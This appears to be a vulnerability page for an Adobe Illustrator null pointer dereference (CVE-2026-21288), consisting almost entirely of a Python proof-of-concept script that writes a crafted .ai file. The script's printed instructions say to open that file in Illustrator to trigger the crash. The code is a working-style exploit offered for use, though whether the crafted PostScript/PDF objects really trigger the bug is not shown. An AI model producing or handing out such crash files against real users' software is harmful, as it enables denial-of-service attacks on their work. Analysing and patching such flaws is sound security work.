Adobe Illustrator 空指针解引用导致拒绝服务漏洞 (CVE-2026-21288)

#!/usr/bin/env python3 # CVE-2026-21288 PoC - Adobe Illustrator NULL Pointer Dereference # Generate malicious .ai file to trigger NULL pointer dereference # Usage: python3 cve-2026-21288.py output.ai import struct import sys def create_malicious_ai_file(filename): """ Create a minimal AI file that triggers the NULL pointer dereference in Adobe Illustrator versions 29.8.3, 30.0 and earlier. This PoC exploits insufficient validation in the file parsing routine, causing a NULL pointer dereference when processing crafted file headers. """ # AI file header (PostScript-based format) ai_header = b"""%!PS-Adobe-3.0 %%Creator: Adobe Illustrator(R) 30.0 %%For: (PoC) (CVE-2026-21288) %%Title: (Malicious File) %%CreationDate: (01/01/2026) %%DocumentFonts: (atend) %%BoundingBox: 0 0 612 792 %%EndComments """ # Crafted data section that triggers NULL pointer dereference # The vulnerability occurs when Illustrator processes certain object references # that are not properly initialized during file parsing crafted_section = b"""%%Page: 1 1 %%EndPage: 0 /Trailer << /Size 0 /Root null /Info null >> """ # Malformed object that triggers the vulnerability # NULL pointer is dereferenced when accessing uninitialized object reference exploit_data = b"""0 obj << /Type /Catalog /Pages null /Outlines null /Page null >> endobj 1 0 obj << /Type /Page /Parent null /Resources << /Font << /F0 null >> >> /MediaBox [0 0 612 792] /Contents null /Parent null >> endobj trailer << /Root 0 0 R /Size 1 >> startxref 0 %%EOF """ with open(filename, 'wb') as f: f.write(ai_header) f.write(crafted_section) f.write(exploit_data) print(f"[+] Malicious AI file created: {filename}") print(f"[!] Open this file with Adobe Illustrator to trigger the vulnerability") if __name__ == "__main__": if len(sys.argv) != 2: print("Usage: python3 cve-2026-21288.py <output.ai>") sys.exit(1) create_malicious_ai_file(sys.argv[1])